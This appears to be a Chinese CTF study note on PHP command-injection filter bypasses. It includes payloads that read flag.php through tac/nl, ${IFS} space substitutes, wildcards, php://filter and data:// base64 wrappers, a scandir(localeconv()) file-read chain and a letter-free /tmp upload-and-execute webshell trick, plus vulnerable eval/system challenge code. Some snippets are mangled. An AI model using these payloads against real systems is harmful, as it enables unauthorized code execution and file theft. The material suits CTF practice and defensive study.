命令执行漏洞主要是由system、exec、shell_exec,eval等函数能把用户输入的内容当作是命令来执,反引号一般的作用是与system类似,都是把内容作为命令来执行。//不过在这些命令执行函数里面,只有system是有回显的,其他的函数都需要搭配着echo来使用
一般看到有过滤的我都会直接先用echo "npfs "; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php
这个来试试水
eval(system('cat flag.php');
这段代码的system可以换成是反引号,如果cat被过滤了就可以把cat换成是其他可以查看flag.php的函数,如nl
,如果flag.php也被过滤了可以把flag.php分开拼接如f''l''a''g.php
,还可以通配符f*
或者f?ag.php
空格绕过
> < <> 重定向符//这里有一点需注意用<>的时候和通配符?是没有回显的可以用\
//比如 tac<>fla?.php要改为tac<>fla\g.php
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09
/**/(一般在sql注入的时候使用)
cat被过滤
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
strings
grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
无须括号的函数(php)
echo qwer;
print qwe;
die;
include "/dasdasda";
require "/asdasdas";
include_once "/asdasd";
require_once "/aaaaaa";
php://filter/
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs=
当上面的东西用不出来的时候就试试这俩吧
如果还出不来怎么办呢
https://www.cnblogs.com/NPFS/p/13778333.html
去看看大佬写的这篇无参数文件读取吧
看完以后你就可以知道scandir(current(localeconv()))的妙用(不得不说站在巨人的肩膀上看世界真的方便了像我这种小菜鸡
嘿嘿这里有一道题可以用到这个
这道题就是上面的方法都试过之后都没有用然后就用到scandir(current(localeconv()))来查看文件
print_r(scandir(current(localeconv())));
看到了flag.php 我们想要打开它,但是又不能出现数字怎么办呢。
当然是通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取,记得成功读取flag.php文件
paylaodshow_source(next(array_reverse(scandir(pos(localeconv())))));
如果在命令执行函数输入的内容的后面或者前面拼接了其他的函数来影响我们的执行内容可以用命令分隔符
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
%0a
因为Linux的命令可以用通配符来使用如果好多东西都被过滤了就可以使用这一特性来去绕过
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这个可以利用/bin/base64 来查看flag
比如c=/???/????64%20????.???
还有就是在p神那里学到的无字母数字webshell之提高篇
主要是利用shell下可以用.来执行任意脚本,和linux文件名支持用global通配符来代替
我们上传的默认文件名是/tmp/phpxXXXXXX 文件最后六个字符是随机的大小写字母
在通配符里面[@-[]
来表示大写字母
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
所以开整
按照p神的方法来
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST文件上传title>
head>
<body>
<form action="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
form>
body>
html>
上传一个php文件
#!/bin/sh
ls
抓包以后把c=./???/????????[@-[]
加上去就好
有一个凑数字的技巧
${_}=""`
`$((${_}))=0`
`$((~$((${_}))))=-1
利用这个可以凑出我们想要的数字